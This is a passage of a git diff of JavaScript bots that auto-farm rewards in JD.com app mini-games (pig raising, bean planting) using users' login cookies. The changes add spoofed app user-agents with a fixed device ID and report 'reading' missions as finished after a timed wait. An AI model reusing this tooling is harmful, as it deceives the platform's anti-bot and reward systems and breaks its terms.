// //const readShareCodeRes = null; + // if (readShareCodeRes && readShareCodeRes.code === 200) { + // newShareCodes = [...new Set([...newShareCodes, ...(readShareCodeRes.data || [])])]; + // } console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify(newShareCodes)}`) resolve(); }) @@ -521,8 +547,8 @@ function requireConfig() { } }) } else { - if ($.getdata('jd_pet_inviter')) $.shareCodesArr = $.getdata('jd_pet_inviter').split('\n').filter(item => !!item); - console.log(`\nBoxJs设置的${$.name}好友邀请码:${$.getdata('jd_pet_inviter') ? $.getdata('jd_pet_inviter') : '暂无'}\n`); + if ($.getdata('PETSHARECODES')) $.shareCodesArr = $.getdata('PETSHARECODES').split('\n').filter(item => !!item); + console.log(`\nBoxJs设置的${$.name}好友邀请码:${$.getdata('PETSHARECODES') ? $.getdata('PETSHARECODES') : '暂无'}\n`); } // console.log(`$.shareCodesArr::${JSON.stringify($.shareCodesArr)}`) // console.log(`jdPetShareArr账号长度::${$.shareCodesArr.length}`) diff --git a/jd_pigPet.js b/jd_pigPet.js index b39e2e1..463277a 100755 --- a/jd_pigPet.js +++ b/jd_pigPet.js @@ -1,30 +1,26 @@ /* -Last Modified time: 2021-5-19 12:27:16 -活动入口:京东金融养猪猪 -一键开完所有的宝箱功能。耗时70秒 -大转盘抽奖 -喂食 -每日签到 -完成分享任务得猪粮 +* +京东金融养猪猪 +活动入口:京东金融养猪猪, +脚本更新地址:https://github.com/zero205/JD_tencent_scf 已支持IOS双京东账号,Node.js支持N个京东账号 -脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js -===============Quantumultx=============== +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== [task_local] -#京东金融养猪猪 -12 0-23/6 * * * https://gitee.com/lxk0301/jd_scripts/raw/master/jd_pigPet.js, tag=京东金融养猪猪, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdyz.png, enabled=true - +#摇钱树助力 +12 0-23/6 * * * https://raw.githubusercontent.com/zero205/JD_tencent_scf/main/jd_pigPet.js, tag=京东金融养猪猪, enabled=true ================Loon============== [Script] -cron "12 0-23/6 * * *" script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_pigPet.js, tag=京东金融养猪猪 - +cron "12 0-23/6 * * *" script-path=https://raw.githubusercontent.com/zero205/JD_tencent_scf/main/jd_pigPet.js,tag=摇钱树助力 ===============Surge================= -京东金融养猪猪 = type=cron,cronexp="12 0-23/6 * * *",wake-system=1,timeout=3600,script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_pigPet.js - +京东金融养猪猪 = type=cron,cronexp="12 0-23/6 * * *",wake-system=1,timeout=20,script-path=https://raw.githubusercontent.com/zero205/JD_tencent_scf/main/jd_pigPet.js ============小火箭========= -京东金融养猪猪 = type=cron,script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_pigPet.js, cronexpr="12 0-23/6 * * *", timeout=3600, enable=true - */ +京东金融养猪猪 = type=cron,script-path=https://raw.githubusercontent.com/zero205/JD_tencent_scf/main/jd_pigPet.js, cronexpr="12 0-23/6 * * *", timeout=3600, enable=true +* +*/ const $ = new Env('金融养猪'); +const url = require('url'); let cookiesArr = [], cookie = '', allMessage = ''; const JD_API_HOST = 'https://ms.jr.jd.com/gw/generic/uc/h5/m'; const MISSION_BASE_API = `https://ms.jr.jd.com/gw/generic/mission/h5/m`; @@ -85,6 +81,9 @@ async function jdPigPet() { await pigPetLottery(); await pigPetMissionList(); await missions(); + console.log('第一遍完成,开始领取可能的未领取:') + await pigPetMissionList(); + await missions(); await pigPetUserBag(); } catch (e) { $.logErr(e) @@ -147,7 +146,7 @@ function pigPetSignOne() { //查询背包食物 function pigPetUserBag() { return new Promise(async resolve => { - const body = {"source":0,"channelLV":"yqs","riskDeviceParam":"{}","t":Date.now(),"skuId":"1001003004","category":"1001"}; + const body = {"source":2,"channelLV":"yqs","riskDeviceParam":"{}","t":Date.now(),"skuId":"1001003004","category":"1001"}; $.post(taskUrl('pigPetUserBag', body), async (err, resp, data) => { try { if (err) { @@ -273,7 +272,7 @@ function pigPetLogin() { //开宝箱 function pigPetOpenBox() { return new Promise(async resolve => { - const body = {"source":0,"channelLV":"yqs","riskDeviceParam":"{}","no":5,"category":"1001","t": Date.now()} + const body = {"source":2,"channelLV":"yqs","riskDeviceParam":"{}","no":5,"category":"1001","t": Date.now()} $.post(taskUrl('pigPetOpenBox', body), async (err, resp, data) => { try { if (err) { @@ -316,7 +315,7 @@ function pigPetLotteryIndex() { $.currentCount = 0; return new Promise(async resolve => { const body = { - "source":0, + "source":2, "channelLV":"juheye", "riskDeviceParam": "{}" } @@ -395,7 +394,7 @@ function pigPetSignIndex() { function pigPetLotteryPlay() { return new Promise(async resolve => { const body = { - "source":0, + "source":2, "channelLV":"juheye", "riskDeviceParam":"{}", "t":Date.now(), @@ -434,20 +433,36 @@ function pigPetLotteryPlay() { } async function missions() { for (let item of $.missions) { + // console.log(JSON.stringify(item)) if (item.status === 4) { console.log(`\n${item.missionName}任务已做完,开始领取奖励`) await pigPetDoMission(item.mid); + await $.wait(1000) } else if (item.status === 5){ console.log(`\n${item.missionName}已领取`) } else if (item.status === 3){ + // console.log(JSON.stringify(item)) console.log(`\n${item.missionName}未完成`) - if (item.mid === 'CPD01') { - await pigPetDoMission(item.mid); - } else { - //TODO - // await pigPetDoMission(item.mid); - // await queryMissionReceiveAfterStatus(item.mid); - // await finishReadMission(item.mid); + await pigPetDoMission(item.mid); + await $.wait(1000) + let parse + if (item.url){ + parse = url.parse(item.url,true,true) + console.log(JSON.stringify(parse)) + }else{ + parse = {} + } + if(parse.query && parse.query.readTime){ + console.log(`做任务:${item.missionName}`) + // console.log(JSON.stringify(item)) + await queryMissionReceiveAfterStatus(parse.query.missionId) + console.log(`等待:${parse.query.readTime}`) + await $.wait(parse.query.readTime*1000) + await finishReadMission(parse.query.missionId,parse.query.readTime) + await $.wait(1000) + } else if(parse.query && parse.query.juid) { + await getJumpInfo(parse.query.juid) + await $.wait(4000) } } } @@ -456,10 +471,10 @@ async function missions() { function pigPetDoMission(mid) { return new Promise(async resolve => { const body = { - "source":0, + "source":2, "channelLV":"", "riskDeviceParam":"{}", - mid + "mid": mid } $.post(taskUrl('pigPetDoMission', body), (err, resp, data) => { try { @@ -497,7 +512,7 @@ function pigPetDoMission(mid) { function pigPetMissionList() { return new Promise(async resolve => { const body = { - "source":0, + "source":2, "channelLV":"", "riskDeviceParam":"{}", } @@ -531,21 +546,46 @@ function pigPetMissionList() { }) }) } +function getJumpInfo(juid) { + return new Promise(async resolve => { + const options = { + "url": `${MISSION_BASE_API}/getJumpInfo?reqData={"juid":"${juid}"}`, + "headers": { + "Cookie": cookie, + 'content-type': 'application/json', + 'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148/application=JDJR-App&deviceId=1423833363730383d273532393d243445364-d224341443d2938333530323445433033353&eufv=1&clientType=ios&iosType=iphone&clientVersion=6.1.70&HiClVersion=6.1.70&isUpdate=0&osVersion=13.7&osName=iOS&platform=iPhone 6s (A1633/A1688/A1691/A1700)&screen=667*375&src=App Store&netWork=1&netWorkType=1&CpayJS=UnionPay/1.0 JDJR&stockSDK=stocksdk-iphone_3.5.0&sPoint=&jdPay=(*#@jdPaySDK*#@jdPayChannel=jdfinance&jdPayChannelVersion=6.1.70&jdPaySdkVersion=3.00.52.00&jdPayClientName=iOS*#@jdPaySDK*#@)', + 'referer': 'https://u1.jr.jd.com/uc-fe-wxgrowing/cloudpig/index/?channel=gry&jrcontainer=h5&jrlogin=true', + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log('getJumpInfo',data) + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} function queryMissionReceiveAfterStatus(missionId) { return new Promise(resolve => { - const body = {"missionId": missionId.toString()}; const options = { - "url": `${MISSION_BASE_API}/queryMissionReceiveAfterStatus?reqData=%7B%2522missionId%2522:%2522${Number(missionId)}%2522%7D`, + "url": `${MISSION_BASE_API}/queryMissionReceiveAfterStatus?reqData={"missionId":"${missionId}"}`, "headers": { - "Accept": "*/*", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-CN,zh;q=0.9", - "Connection": "keep-alive", - "Host": "ms.jr.jd.com", "Cookie": cookie, - "Origin": "https://jdjoy.jd.com", - "Referer": "https://jdjoy.jd.com/", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + 'content-type': 'application/json', + 'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148/application=JDJR-App&deviceId=1423833363730383d273532393d243445364-d224341443d2938333530323445433033353&eufv=1&clientType=ios&iosType=iphone&clientVersion=6.1.70&HiClVersion=6.1.70&isUpdate=0&osVersion=13.7&osName=iOS&platform=iPhone 6s (A1633/A1688/A1691/A1700)&screen=667*375&src=App Store&netWork=1&netWorkType=1&CpayJS=UnionPay/1.0 JDJR&stockSDK=stocksdk-iphone_3.5.0&sPoint=&jdPay=(*#@jdPaySDK*#@jdPayChannel=jdfinance&jdPayChannelVersion=6.1.70&jdPaySdkVersion=3.00.52.00&jdPayClientName=iOS*#@jdPaySDK*#@)', + 'referer': 'https://u1.jr.jd.com/uc-fe-wxgrowing/cloudpig/index/?channel=gry&jrcontainer=h5&jrlogin=true', } } $.get(options, (err, resp, data) => { @@ -556,17 +596,6 @@ function queryMissionReceiveAfterStatus(missionId) { } else { if (data) { console.log('queryMissionReceiveAfterStatus',data) - // data = JSON.parse(data); - // if (data.resultCode === 0) { - // if (data.resultData.resultCode === 0) { - // if (data.resultData.resultData) { - // // console.log(`当前大转盘剩余免费抽奖次数::${data.resultData.resultData.currentCount}`); - // $.currentCount = data.resultData.resultData.currentCount;//抽奖后剩余的抽奖次数 - // } - // } else { - // console.log(`其他情况:${JSON.stringify(data)}`) - // } - // } } else { console.log(`京东服务器返回空数据`) } @@ -580,21 +609,15 @@ function queryMissionReceiveAfterStatus(missionId) { }) } //做完浏览任务发送信息API -function finishReadMission(missionId) { +function finishReadMission(missionId,readTime) { return new Promise(async resolve => { - const body = {"missionId": missionId.toString(),"readTime":10}; const options = { - "url": `${MISSION_BASE_API}/finishReadMission?reqData=%7B%2522missionId%2522:%2522${Number(missionId)}%2522,%2522readTime%2522:10%7D`, + "url": `${MISSION_BASE_API}/finishReadMission?reqData={"missionId":"${missionId}","readTime":${readTime}}`, "headers": { - "Accept": "*/*", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-CN,zh;q=0.9", - "Connection": "keep-alive", - "Host": "ms.jr.jd.com", "Cookie": cookie, - "Origin": "https://jdjoy.jd.com", - "Referer": "https://jdjoy.jd.com/", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + 'content-type': 'application/json', + 'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148/application=JDJR-App&deviceId=1423833363730383d273532393d243445364-d224341443d2938333530323445433033353&eufv=1&clientType=ios&iosType=iphone&clientVersion=6.1.70&HiClVersion=6.1.70&isUpdate=0&osVersion=13.7&osName=iOS&platform=iPhone 6s (A1633/A1688/A1691/A1700)&screen=667*375&src=App Store&netWork=1&netWorkType=1&CpayJS=UnionPay/1.0 JDJR&stockSDK=stocksdk-iphone_3.5.0&sPoint=&jdPay=(*#@jdPaySDK*#@jdPayChannel=jdfinance&jdPayChannelVersion=6.1.70&jdPaySdkVersion=3.00.52.00&jdPayClientName=iOS*#@jdPaySDK*#@)', + 'referer': 'https://u1.jr.jd.com/uc-fe-wxgrowing/cloudpig/index/?channel=gry&jrcontainer=h5&jrlogin=true', } } $.get(options, (err, resp, data) => { @@ -605,17 +628,6 @@ function finishReadMission(missionId) { } else { if (data) { console.log('finishReadMission',data) - // data = JSON.parse(data); - // if (data.resultCode === 0) { - // if (data.resultData.resultCode === 0) { - // if (data.resultData.resultData) { - // // console.log(`当前大转盘剩余免费抽奖次数::${data.resultData.resultData.currentCount}`); - // $.currentCount = data.resultData.resultData.currentCount;//抽奖后剩余的抽奖次数 - // } - // } else { - // console.log(`其他情况:${JSON.stringify(data)}`) - // } - // } } else { console.log(`京东服务器返回空数据`) } @@ -675,19 +687,12 @@ function TotalBean() { function taskUrl(function_id, body) { return { url: `${JD_API_HOST}/${function_id}?_=${Date.now()}`, - body: `reqData=${encodeURIComponent(JSON.stringify(body))}`, - headers: { - 'Accept' : `*/*`, - 'Origin' : `https://u.jr.jd.com`, - 'Accept-Encoding' : `gzip, deflate, br`, - 'Cookie' : cookie, - 'Content-Type' : `application/x-www-form-urlencoded;charset=UTF-8`, - 'Host' : `ms.jr.jd.com`, - 'Connection' : `keep-alive`, - // 'User-Agent' : `jdapp;iPhone;9.0.0;13.4.1;e35caf0a69be42084e3c97eef56c3af7b0262d01;network/4g;ADID/F75E8AED-CB48-4EAC-A213-E8CE4018F214;supportApplePay/3;hasUPPay/0;pushNoticeIsOpen/1;model/iPhone11,8;addressid/2005183373;hasOCPay/0;appBuild/167237;supportBestPay/0;jdSupportDarkMode/0;pv/1287.19;apprpd/MyJD_GameMain;ref/https%3A%2F%2Fuua.jr.jd.com%2Fuc-fe-wxgrowing%2Fmoneytree%2Findex%2F%3Fchannel%3Dyxhd%26lng%3D113.325843%26lat%3D23.204628%26sid%3D2d98e88cf7d182f60d533476c2ce777w%26un_area%3D19_1601_50258_51885;psq/1;ads/;psn/e35caf0a69be42084e3c97eef56c3af7b0262d01|3485;jdv/0|kong|t_1000170135|tuiguang|notset|1593059927172|1593059927;adk/;app_device/IOS;pap/JA2015_311210|9.0.0|IOS 13.4.1;Mozilla/5.0 (iPhone; CPU iPhone OS 13_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - 'User-Agent' : `jdapp;android;8.5.12;9;network/wifi;model/GM1910;addressid/1302541636;aid/ac31e03386ddbec6;oaid/;osVer/28;appBuild/73078;adk/;ads/;pap/JA2015_311210|8.5.12|ANDROID 9;osv/9;pv/117.24;jdv/0|kong|t_1000217905_|jingfen|644e9b005c8542c1ac273da7763971d8|1589905791552|1589905794;ref/com.jingdong.app.mall.WebActivity;partner/oppo;apprpd/Home_Main;Mozilla/5.0 (Linux; Android 9; GM1910 Build/PKQ1.190110.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36 Edg/86.0.4240.111`, - 'Referer' : `https://u.jr.jd.com/`, - 'Accept-Language' : `zh-cn` + body: `reqData=${JSON.stringify(body)}`, + "headers": { + "Cookie": cookie, + 'content-type': 'application/json', + 'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148/application=JDJR-App&deviceId=1423833363730383d273532393d243445364-d224341443d2938333530323445433033353&eufv=1&clientType=ios&iosType=iphone&clientVersion=6.1.70&HiClVersion=6.1.70&isUpdate=0&osVersion=13.7&osName=iOS&platform=iPhone 6s (A1633/A1688/A1691/A1700)&screen=667*375&src=App Store&netWork=1&netWorkType=1&CpayJS=UnionPay/1.0 JDJR&stockSDK=stocksdk-iphone_3.5.0&sPoint=&jdPay=(*#@jdPaySDK*#@jdPayChannel=jdfinance&jdPayChannelVersion=6.1.70&jdPaySdkVersion=3.00.52.00&jdPayClientName=iOS*#@jdPaySDK*#@)', + 'referer': 'https://u1.jr.jd.com/uc-fe-wxgrowing/cloudpig/index/?channel=gry&jrcontainer=h5&jrlogin=true', } } } diff --git a/jd_plantBean.js b/jd_plantBean.js index 4c70312..72d7828 100755 --- a/jd_plantBean.js +++ b/jd_plantBean.js @@ -1,8 +1,8 @@ /* 种豆得豆 脚本更新地址:https://gitee.com/lxk0301/jd_scripts/raw/master/jd_plantBean.js -更新时间:2021-04-9 +更新时间:2021-04-09 活动入口:京东APP我的-更多工具-种豆得豆 -已支持IOS京东多账号,云端多京东账号 +已支持IOS京东双账号,云端N个京东账号 脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js 注:会自动关注任务中的店铺跟商品,介意者勿使用。 互助码shareCode请先手动运行脚本查看打印可看到 @@ -35,14 +35,16 @@ const JD_API_HOST = 'https://api.m.jd.com/client.action'; //下面给出两个账号的填写示例(iOS只支持2个京东账号) let shareCodes = [ // IOS本地脚本用户这个列表填入你要助力的好友的shareCode //账号一的好友shareCode,不同好友的shareCode中间用@符号隔开 + //'mlrdw3aw26j3xc6xycqtc74umufg2kphl3yfaxy@4npkonnsy7xi3ii7u6y52byc4urucexhl2wh2pq@olmijoxgmjutydymkyc56wollvia4yorekjt5ky@q7knrx5fitalyburqkflsm4jjq3h7wlwy7o5jii@4npkonnsy7xi2dkkbvl643342m5of4rpapky3ha@u72q4vdn3zes3byfckc62jqcbkxq3wtymnzrz2i@e7lhibzb3zek3ziaj5fstdr2qbxofrnt63pxzpq@fn5sjpg5zdejmpxw4mttxyyppqmy3t6eveppesy@hjkb2bbfm2bdr7lxto2hvcagyq3h7wlwy7o5jii', //账号二的好友shareCode,不同好友的shareCode中间用@符号隔开 + //'mlrdw3aw26j3xc6xycqtc74umufg2kphl3yfaxy@4npkonnsy7xi3ii7u6y52byc4urucexhl2wh2pq@olmijoxgmjutydymkyc56wollvia4yorekjt5ky@q7knrx5fitalyburqkflsm4jjq3h7wlwy7o5jii@4npkonnsy7xi2dkkbvl643342m5of4rpapky3ha@u72q4vdn3zes3byfckc62jqcbkxq3wtymnzrz2i@e7lhibzb3zek3ziaj5fstdr2qbxofrnt63pxzpq@fn5sjpg5zdejmpxw4mttxyyppqmy3t6eveppesy@hjkb2bbfm2bdr7lxto2hvcagyq3h7wlwy7o5jii', ] let allMessage = ``; let currentRoundId = null;//本期活动id let lastRoundId = null;//上期id let roundList = []; let awardState = '';//上期活动的京豆是否收取 -let randomCount = $.isNode() ? 20 : 5; +let randomCount = $.isNode() ? 0 : 0; !(async () => { await requireConfig(); if (!cookiesArr[0]) { @@ -111,12 +113,15 @@ async function jdPlantBean() { await plantShareSupportList(); } else { console.log(`种豆得豆-初始失败: ${JSON.stringify($.plantBeanIndexResult)}`); + console.log(`等待10秒后重试`); + await $.wait(10000); + await jdPlantBean(); } } catch (e) { $.logErr(e); - const errMsg = `京东账号${$.index} ${$.nickName || $.UserName}\n任务执行异常,请检查执行日志 ‼️‼️`; - if ($.isNode()) await notify.sendNotify(`${$.name}`, errMsg); - $.msg($.name, '', `${errMsg}`) + // const errMsg = `京东账号${$.index} ${$.nickName || $.UserName}\n任务执行异常,请检查执行日志 ‼️‼️`; + // if ($.isNode()) await notify.sendNotify(`${$.name}`, errMsg); + // $.msg($.name, '', `${errMsg}`) } } async function doGetReward() { @@ -527,29 +532,53 @@ async function helpShare(plantUuid) { async function plantBeanIndex() { $.plantBeanIndexResult = await request('plantBeanIndex');//plantBeanIndexBody } -function readShareCode() { - return new Promise(async resolve => { - $.get({url: `http://share.turinglabs.net/api/v3/bean/query/${randomCount}/`, timeout: 10000}, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - console.log(`随机取个${randomCount}码放到您固定的互助码后面(不影响已有固定互助)`) - data = JSON.parse(data); - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - await $.wait(15000); - resolve() - }) -} +// function readShareCode() { +// return new Promise(async resolve => { +// $.get({url: `http://www.helpu.cf/jdcodes/getcode.php?type=bean&num=${randomCount}`, timeout: 10000}, (err, resp, data) => { +// try { +// if (err) { +// console.log(`${JSON.stringify(err)}`) +// console.log(`${$.name} API请求失败,请检查网路重试`) +// } else { +// if (data) { +// console.log(`随机取个${randomCount}码放到您固定的互助码后面(不影响已有固定互助)`) +// data = JSON.parse(data); +// } +// } +// } catch (e) { +// $.logErr(e, resp) +// } finally { +// resolve(data); +// } +// }) +// await $.wait(15000); +// resolve() +// }) +// } +//提交互助码 +// function submitCode() { +// return new Promise(async resolve => { +// $.get({url: `http://www.helpu.cf/jdcodes/submit.php?code=${$.myPlantUuid}&type=bean`, timeout: 10000}, (err, resp, data) => { +// try { +// if (err) { +// console.log(`${JSON.stringify(err)}`) +// console.log(`${$.name} API请求失败,请检查网路重试`) +// } else { +// if (data) { +// //console.log(`随机取个${randomCount}码放到您固定的互助码后面(不影响已有固定互助)`) +// data = JSON.parse(data); +// } +// } +// } catch (e) { +// $.logErr(e, resp) +// } finally { +// resolve(data); +// } +// }) +// await $.wait(15000); +// resolve() +// }) +// } //格式化助力码 function shareCodesFormat() { return new Promise(async resolve => { @@ -562,12 +591,10 @@ function shareCodesFormat() { const tempIndex = $.index > shareCodes.length ? (shareCodes.length - 1) : ($.index - 1); newShareCodes = shareCodes[tempIndex].split('@'); } - /* - const readShareCodeRes = await readShareCode(); - if (readShareCodeRes && readShareCodeRes.code === 200) { - newShareCodes = [...new Set([...newShareCodes, ...(readShareCodeRes.data || [])])]; - } - */ + // const readShareCodeRes = await readShareCode(); + // if (readShareCodeRes && readShareCodeRes.code === 200) { + // newShareCodes = [...new Set([...newShareCodes, ...(readShareCodeRes.data || [])])]; + // } console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify(newShareCodes)}`) resolve(); }) @@ -599,8 +626,8 @@ function requireConfig() { } }) } else { - if ($.getdata('jd_plantbean_inviter')) $.shareCodesArr = $.getdata('jd_plantbean_inviter').split('\n').filter(item => !!item); - console.log(`\nBoxJs设置的${$.name}好友邀请码:${$.getdata('jd_plantbean_inviter') ? $.getdata('jd_plantbean_inviter') : '暂无'}\n`); + if ($.getdata('PLANT_BEAN_SHARECODES')) $.shareCodesArr = $.getdata('PLANT_BEAN_SHARECODES').split('\n').filter(item => !!item); + console.log(`\nBoxJs设置的${$.name}好友邀请码:${$.getdata('PLANT_BEAN_SHARECODES') ? $.getdata('PLANT_BEAN_SHARECODES') : '暂无'}\n`); } // console.log(`\n种豆得豆助力码::${JSON.stringify($.shareCodesArr)}`); console.log(`您提供了${$.shareCodesArr.length}个账号的种豆得豆助力码\n`); @@ -748,4 +775,4 @@ function jsonParse(str) { } } // prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else 